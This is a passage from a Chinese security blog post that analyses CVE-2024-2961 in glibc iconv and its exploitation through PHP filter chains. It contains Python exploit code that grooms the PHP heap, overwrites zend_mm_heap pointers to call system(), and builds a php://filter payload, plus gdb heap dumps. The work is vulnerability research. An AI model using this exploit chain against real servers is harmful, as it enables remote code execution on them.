step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free, heapSize)
# 第二次dechunk,长度等于0x100
step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free)
# 第一次dechunk,长度大于0x100
step2_malloc_step3_free = compressed_bucket(step2_malloc_step3_free)

# 第三步触发bug
step3_trigger_bug = (0x100 - len(BUG)) * b"\x00" + BUG
# 确保长度为0x100
assert len(step3_trigger_bug) == 0x100
# 第三次dechunk,长度等于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第二次dechunk,长度大于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第一次dechunk,长度大于0x100
step3_trigger_bug = compressed_bucket(step3_trigger_bug)


pages = (
step1_malloc_step2_free * 3 +
step2_malloc_step3_free * 2 +
step3_trigger_bug
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate",
# 第一步
"dechunk",
"convert.iconv.latin1.latin1",
# 第二步
"dechunk",
"convert.iconv.latin1.latin1",
# 第三步触发漏洞
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT"
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path

接着使用gdb调试查看堆布局,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
$ python3 poc1.py && gdb ./php8.1-8.1.2/fpm-build/sapi/cli/php
# 最终断点停在执行完处理convert.iconv.UTF-8.ISO-2022-CN-EXT的函数
0x5555557dfae5 <_php_stream_fill_read_buffer+309> call qword ptr [rax]

► 0x5555557dfae7 <_php_stream_fill_read_buffer+311> cmp eax, 2
0x5555557dfaea <_php_stream_fill_read_buffer+314> je _php_stream_fill_read_buffer+256 <_php_stream_fill_read_buffer+256>

0x5555557dfab0 <_php_stream_fill_read_buffer+256> pxor xmm0, xmm0
0x5555557dfab4 <_php_stream_fill_read_buffer+260> movaps xmmword ptr [r12], xmm0
0x5555557dfab9 <_php_stream_fill_read_buffer+265> mov rbp, qword ptr [rbp + 0x18]
0x5555557dfabd <_php_stream_fill_read_buffer+269> test rbp, rbp
0x5555557dfac0 <_php_stream_fill_read_buffer+272> je _php_stream_fill_read_buffer+448 <_php_stream_fill_read_buffer+448>

0x5555557dfb70 <_php_stream_fill_read_buffer+448> mov rbp, qword ptr [r14]
0x5555557dfb73 <_php_stream_fill_read_buffer+451> test rbp, rbp
0x5555557dfb76 <_php_stream_fill_read_buffer+454> jne _php_stream_fill_read_buffer+502 <_php_stream_fill_read_buffer+502>
─────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────
In file: /home/ubuntu/CVE-2024-2961/php8.1-8.1.2/main/streams/streams.c:577
572
573 /* wind the handle... */
574 for (filter = stream->readfilters.head; filter; filter = filter->next) {
575 status = filter->fops->filter(stream, filter, brig_inp, brig_outp, NULL, flags);
576
► 577 if (status != PSFS_PASS_ON) {
578 break;
579 }
580
581 /* brig_out becomes brig_in.
582 * brig_in will always be empty here, as the filter MUST attach any un-consumed buckets
# freeslot的定义如下
define freeslot
set $phpheap = (struct _zend_mm_heap *) 0x7ffff5200040
p $phpheap->free_slot[15]
end
pwndbg> freeslot
$2 = (zend_mm_free_slot *) 0x7ffff528b200
pwndbg> x/32gx 0x7ffff528b200
0x7ffff528b200: 0x00007ffff528b300 0x0000000000000000
0x7ffff528b210: 0x0000000000000000 0x0000000000000000
0x7ffff528b220: 0x0000000000000000 0x0000000000000000
0x7ffff528b230: 0x0000000000000000 0x0000000000000000
0x7ffff528b240: 0x0000000000000000 0x0000000000000000
0x7ffff528b250: 0x0000000000000000 0x0000000000000000
0x7ffff528b260: 0x0000000000000000 0x0000000000000000
0x7ffff528b270: 0x0000000000000000 0x0000000000000000
0x7ffff528b280: 0x0000000000000000 0x0000000000000000
0x7ffff528b290: 0x0000000000000000 0x0000000000000000
0x7ffff528b2a0: 0x0000000000000000 0x0000000000000000
0x7ffff528b2b0: 0x0000000000000000 0x0000000000000000
0x7ffff528b2c0: 0x0000000000000000 0x0000000000000000
0x7ffff528b2d0: 0x0000000000000000 0x0000000000000000
0x7ffff528b2e0: 0x0000000000000000 0x0000000000000000
0x7ffff528b2f0: 0x0000000000000000 0x2a241b0000000000
pwndbg>
0x7ffff528b300: 0x00007ffff528b148 0x4242424242424242
0x7ffff528b310: 0x4242424242424242 0x4242424242424242

从上面的内存布局可以看出,程序已经按照我们的设想触发漏洞,溢出覆盖了free_slots的指针。

最终利用

最终的利用思路我们参考了公开的PoC中的利用思路,控制_zend_mm_heap结构体中的custom_heap,该利用思路有个前置条件,需要设置_zend_mm_heap->use_custom_heap为非0值。并且我们不能只修改custom_heap._free,还同时需要设置custom_heap._malloccustom_heap._realloc,因为当_zend_mm_heap->use_custom_heap非0时,这三个函数皆会调用其custom函数。

在前面利用思路的基础上,我们的利用链要修改/新增以下步骤(这里需要注意,libc地址和php的_zend_mm_heap地址都为已知信息。):

  1. 因为0x7ffff528b300指向了0x7ffff528b148,所以我们需要控制该地址,恰好0x7ffff528b100是第一步中申请到的第一个堆。所以我们需要让step1_malloc_step2_free指向_zend_mm_heap段的地址。
  2. _zend_mm_heap的地址为0x7ffff5200040,我们利用的堆的大小为0x100,从0x7ffff5200050开始,0x100的大小,可以覆盖到所有的free_slot。所以,我们让0x7ffff528b148指向0x7ffff5200050
  3. 我们需要申请三个堆,把0x200->0x300->0x148这三个堆分配出来。这个时候free链表头为:0x7ffff5200050
  4. 申请一个堆,这个堆的地址为:0x7ffff5200050,写入我们需要控制的值。首先把size位设置为0x200000,free_slot只设置0x140和0x18的地址,其他皆为0。0x140的堆指向0x7ffff5200040,用来设置use_custom_heap,0x18的堆指向0x7ffff5200040 + 0x168,用来设置custom_heap。这里为什么设置0x140的堆呢?这个值是可以变化的,在这里参考了公开PoC中的定义cmd的命令长度为0x140,如果命令长度不够,则用\0填充到0x140的长度。
  5. 写入use_custom_heapcustom_heap的值。
  6. 写入需要执行的命令字符串,当该堆释放的时候,就会调用system执行指定命令。

这里需要注意,执行的命令建议加上kill -9 $PPID;,否则所有堆里的数据都会被当成命令去执行一遍。

根据以上思路,编写buildPayload函数,代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
def chunked_add_bad_data(data: bytes, badData: bytes, totalsize: int)->bytes:
'''
php处理dechunk的时候有一个问题,首先判断长度,只处理0-9, A-F, a-f这些字符。
如果判断非这些字符,就会判断为处理长度结束,接着会判断下一个字符是否是\r或者\n,如果不是则跳过。
这让我们可以在长度和\n之间注入其他字符,这些字符有以下要求,开始的值不能为十六进制,中间不能含有\n或者\r。
一个示例:
b'00000010........\x00A\x00\x00\x00\x00\x00\x00AAAAAA\n000008\nAAAAAAAA\n\n'
这样往堆的0x10地址注入了0x4100
不过这种方案限制比较大,如果php的_zend_mm_heap地址包含0x0a或者0x0d,就不能用了
'''
dataSize = len(data)
chunk = f"{dataSize:x}".rjust(8, "0")
chunk = chunk.encode() + b"." * 8 + badData
end = b"\n" + data + b"\n"
chunk += b"A" * (totalsize - len(chunk) - len(end))
chunk += end
assert len(chunk) == totalsize
return chunk

def buildPayload() -> str:
'''
我们把一次处理dechunk + convert.iconv.的过程算一步
'''
heapSize = 0x100
BUG = "劄".encode("utf-8")
# _zend_mm_heap基地址
zend_heap_base = 0x7ffff5200040

# 第一步申请0x100的堆,第二步释放
# 第三次dechunk,长度小于0x100
step1_malloc_step2_free = chunked_add_bad_data(b"A" * 8, p64(zend_heap_base + 0x10) * 10, 0xA0)
# 第二次dechunk,长度小于0x100
step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free, heapSize)
# 第一次dechunk,长度等于0x100
step1_malloc_step2_free = compressed_bucket(step1_malloc_step2_free)

# 第二步申请0x100的堆,第三步释放
step2_malloc_step3_free = b"B" * 0x20
# 第三次dechunk,长度小于0x100
step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free, heapSize)
# 第二次dechunk,长度等于0x100
step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free)
# 第一次dechunk,长度大于0x100
step2_malloc_step3_free = compressed_bucket(step2_malloc_step3_free)

# 第三步触发bug
step3_trigger_bug = (0x100 - len(BUG)) * b"\x00" + BUG
# 确保长度为0x100
assert len(step3_trigger_bug) == 0x100
# 第三次dechunk,长度等于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第二次dechunk,长度大于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第一次dechunk,长度大于0x100
step3_trigger_bug = compressed_bucket(step3_trigger_bug)

# 第三次dechunk, 0\n
step3_trailer_chunk = b"0\n".ljust(0x48, b"\x00") + p64(zend_heap_base + 0x10)

step3_trailer_chunk += b"\x00" * (heapSize - len(step3_trailer_chunk))
# 第二次dechunk,长度等于0x100
step3_trailer_chunk = chunked_chunk(step3_trailer_chunk)
# 第一次dechunk,长度大于0x100
step3_trailer_chunk = compressed_bucket(step3_trailer_chunk)

step4_write_zend_heap = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
zend_heap_base + 0x168, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
zend_heap_base, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=0x100,
)
step4_write_zend_heap = chunked_chunk(step4_write_zend_heap)
step4_write_zend_heap = chunked_chunk(step4_write_zend_heap)
step4_write_zend_heap = compressed_bucket(step4_write_zend_heap)

mallocAddr = 0x7ffff7568120
systemAddr = 0x7ffff7513d60
reallocAddr = 0x7ffff75687c0
step4_write_custom_heap = ptr_bucket(
mallocAddr, systemAddr, reallocAddr, size=0x18
)
step4_write_custom_heap = chunked_chunk(step4_write_custom_heap)
step4_write_custom_heap = chunked_chunk(step4_write_custom_heap)
step4_write_custom_heap = compressed_bucket(step4_write_custom_heap)

step4_use_custom_heap_and_cmd = b"kill -9 $PPID; ls -alF"
step4_use_custom_heap_and_cmd = step4_use_custom_heap_and_cmd.ljust(0x140, b"\x00")
step4_use_custom_heap_and_cmd = qpe(step4_use_custom_heap_and_cmd)
step4_use_custom_heap_and_cmd = chunked_chunk(step4_use_custom_heap_and_cmd)
step4_use_custom_heap_and_cmd = chunked_chunk(step4_use_custom_heap_and_cmd)
step4_use_custom_heap_and_cmd = compressed_bucket(step4_use_custom_heap_and_cmd)

pages = (
step4_write_zend_heap * 4 +
step4_write_custom_heap +
step4_use_custom_heap_and_cmd +
step1_malloc_step2_free * 3 +
step2_malloc_step3_free * 2 +
step3_trigger_bug
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate",
# 第一步
"dechunk",
"convert.iconv.latin1.latin1",
# 第二步
"dechunk",
"convert.iconv.latin1.latin1",
# 第三步触发漏洞
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
# 第四步,写入数据然后执行命令
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path

注意,因为提供的地址都是使用gdb调试的时候地址,因此上面的Payload只能在调试状态下成功执行命令。

总结

经过一番自己的调试分析,发现公开的PoC已经非常完善了,利用链没法优化的更好,并且进行了两次zlib压缩,能把payload压缩到非常短的地步。

虽然目前公开的只有对PHP进行利用的PoC,但是iconv漏洞的影响面还是非常广的,后续将继续对iconv的使用面进行研究,是否还有其他应用受该漏洞的影响。

参考链接

  1. https://www.ambionics.io/blog/iconv-cve-2024-2961-p1
  2. https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py

CVE-2024-2961漏洞分析

https://nobb.site/2024/05/31/0x8A/

Author

Hcamael

Posted on

2024-05-31

Updated on

2024-06-05

Licensed under